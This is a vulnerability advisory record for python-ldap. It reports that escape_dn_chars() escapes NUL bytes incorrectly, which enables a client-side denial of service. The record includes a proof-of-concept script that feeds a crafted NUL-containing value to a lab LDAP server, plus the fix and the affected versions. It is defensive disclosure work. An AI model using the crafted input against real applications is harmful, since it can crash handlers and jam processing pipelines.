{"id":"PYSEC-2026-1846","summary":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","details":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=\u003e add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=\u003e sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=\u003e add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.","aliases":["CVE-2025-61912","GHSA-p34h-wq7j-h5v6"],"modified":"2026-07-07T17:47:51.792721896Z","published":"2026-07-07T16:03:07.472350Z","references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-p34h-wq7j-h5v6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/commit/6ea80326a34ee6093219628d7690bced50c49a3f"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5"},{"type":"PACKAGE","url":"https://pypi.org/project/python-ldap"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p34h-wq7j-h5v6"}],"affected":[{"package":{"name":"python-ldap","ecosystem":"PyPI","purl":"pkg:pypi/python-ldap"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.5"}]}],"versions":["2.3.13","2.4.0","2.4.1","2.4.10","2.4.12","2.4.13","2.4.14","2.4.15","2.4.16","2.4.17","2.4.18","2.4.19","2.4.2","2.4.20","2.4.21","2.4.22","2.4.25","2.4.26","2.4.27","2.4.28","2.4.29","2.4.3","2.4.30","2.4.31","2.4.32","2.4.33","2.4.35","2.4.36","2.4.37","2.4.38","2.4.39","2.4.4","2.4.40","2.4.41","2.4.42","2.4.43","2.4.44","2.4.45","2.4.5","2.4.6","2.4.7","2.4.8","2.4.9","2.5.1","2.5.2","3.0.0","3.0.0b1","3.0.0b2","3.0.0b3","3.0.0b4","3.1.0","3.2.0","3.3.0","3.3.1","3.4.0","3.4.2","3.4.3","3.4.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/python-ldap/PYSEC-2026-1846.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}]}